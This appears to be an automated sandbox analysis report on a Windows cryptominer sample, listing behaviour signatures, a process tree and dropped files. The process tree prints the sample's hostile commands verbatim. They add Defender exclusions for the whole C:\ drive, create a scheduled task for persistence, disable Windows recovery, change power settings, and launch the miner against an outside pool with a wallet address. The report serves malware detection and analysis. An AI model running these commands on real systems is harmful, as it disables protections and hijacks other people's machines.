Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/10/2026, 10:27

General

  • Target
    2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  • Size 401KB
  • Sample261031-mhc3csha82
  • SHA256 5c78bd37d92b504dd94c3521732c7a856e97ade7e634f7577bfeec4f1653a172
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Looks for VirtualBox Guest Additions in registry 2 TTPs 3 IoCs
  • XMRig Miner payload 12 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Looks for VMWare Tools registry key 2 TTPs 3 IoCs
  • Possible privilege escalation attempt 3 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies file permissions 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Power Settings 1 TTPs 7 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 5 IoCs
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
    1⤵
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VMWare Tools registry key
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious use of SetThreadContext
    • Drops file in Windows directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5724
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4148
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:1684
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:5788
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C reagentc /disable
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4460
      • C:\Windows\system32\ReAgentc.exe
        reagentc /disable
        3⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        PID:1332
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4512
      • C:\Windows\system32\takeown.exe
        takeown /F "C:\Windows\System32\reagentc.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3104
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1628
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:5104
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5740
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2676
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change monitor-timeout-ac 0
      2⤵
      • Power Settings
      PID:1308
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change monitor-timeout-dc 0
      2⤵
      • Power Settings
      PID:1680
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change standby-timeout-ac 0
      2⤵
      • Power Settings
      PID:4784
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change standby-timeout-dc 0
      2⤵
      • Power Settings
      PID:1948
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change hibernate-timeout-ac 0
      2⤵
      • Power Settings
      PID:1064
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change hibernate-timeout-dc 0
      2⤵
      • Power Settings
      PID:5612
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /hibernate off
      2⤵
      • Power Settings
      PID:6108
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
      2⤵
      • Executes a command shell one-liner
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:4296
      • C:\Windows\system32\PING.EXE
        ping -n 1 -w 1000 8.8.8.8
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:1764
    • C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe --algo rx/0 --url 107.149.8.96:3333 --user 42rWxJoTVZnFvAxShvkZKLSR5dus86qUv89zRJXSvcWjTkwkVipmdvZY7CNNJGx2j62sTgnJxUgK27BQ8pSAQjYY6avcwcN/x -p x -k --cpu-max-threads-hint=90
      2⤵
      • Badlisted process makes network request
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of FindShellTrayWindow
      PID:5252
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
    1⤵
      PID:2832
    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
      C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
      1⤵
      • Looks for VirtualBox Guest Additions in registry
      • Looks for VMWare Tools registry key
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:4668
    • C:\Windows\System32\Win-v42.exe
      C:\Windows\System32\Win-v42.exe
      1⤵
      • Looks for VirtualBox Guest Additions in registry
      • Looks for VMWare Tools registry key
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:4700

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          Win-v43.exe

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
          • Size 401KB
          • SHA256 07a7a61aa454c448c2884c1955c7cbcdf5bbaecd613f57165ba925ea896b74d4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 070e2dc002fee5d6c6ae0611713bb24a9f01d741d964e7f1ece4f61789724a94
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_tsgrr3wr.1p0.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tsgrr3wr.1p0.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/5252-94-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp

          memory/5252-96-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp

          memory/5252-95-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp

          memory/5252-97-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp

          memory/5252-93-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp

          memory/5252-92-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp

          memory/5252-91-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp

          memory/5252-90-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp

          memory/5252-89-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp

          memory/5252-98-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp

          memory/5252-88-0x00000213DFC90000-0x00000213DFCB0000-memory.dmp

          memory/5252-99-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp

          memory/5252-100-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp

          memory/5724-21-0x000002D0B8280000-0x000002D0B828A000-memory.dmp

          memory/5724-24-0x00007FF907370000-0x00007FF907D14000-memory.dmp

          memory/5724-32-0x000002D0B82F9000-0x000002D0B82FF000-memory.dmp

          memory/5724-29-0x00007FF907370000-0x00007FF907D14000-memory.dmp

          memory/5724-28-0x00007FF907370000-0x00007FF907D14000-memory.dmp

          memory/5724-60-0x00007FF907370000-0x00007FF907D14000-memory.dmp

          memory/5724-27-0x00007FF907370000-0x00007FF907D14000-memory.dmp

          memory/5724-85-0x00007FF907370000-0x00007FF907D14000-memory.dmp

          memory/5724-26-0x00007FF907370000-0x00007FF907D14000-memory.dmp

          memory/5724-23-0x00007FF907370000-0x00007FF907D14000-memory.dmp

          memory/5724-25-0x00007FF907370000-0x00007FF907D14000-memory.dmp

          memory/5724-31-0x00007FF907370000-0x00007FF907D14000-memory.dmp

          memory/5724-22-0x00007FF907370000-0x00007FF907D14000-memory.dmp

          memory/5724-0-0x00007FF9074FF000-0x00007FF907500000-memory.dmp

          memory/5724-20-0x000002D0B8600000-0x000002D0B86B2000-memory.dmp

          memory/5724-19-0x000002D0B8260000-0x000002D0B827E000-memory.dmp

          memory/5724-12-0x00007FF907370000-0x00007FF907D14000-memory.dmp

          memory/5724-11-0x00007FF907370000-0x00007FF907D14000-memory.dmp

          memory/5724-10-0x00007FF907370000-0x00007FF907D14000-memory.dmp

          memory/5724-3-0x00007FF907370000-0x00007FF907D14000-memory.dmp

          memory/5724-1-0x00007FF907370000-0x00007FF907D14000-memory.dmp

          memory/5724-2-0x000002D09FE30000-0x000002D09FE52000-memory.dmp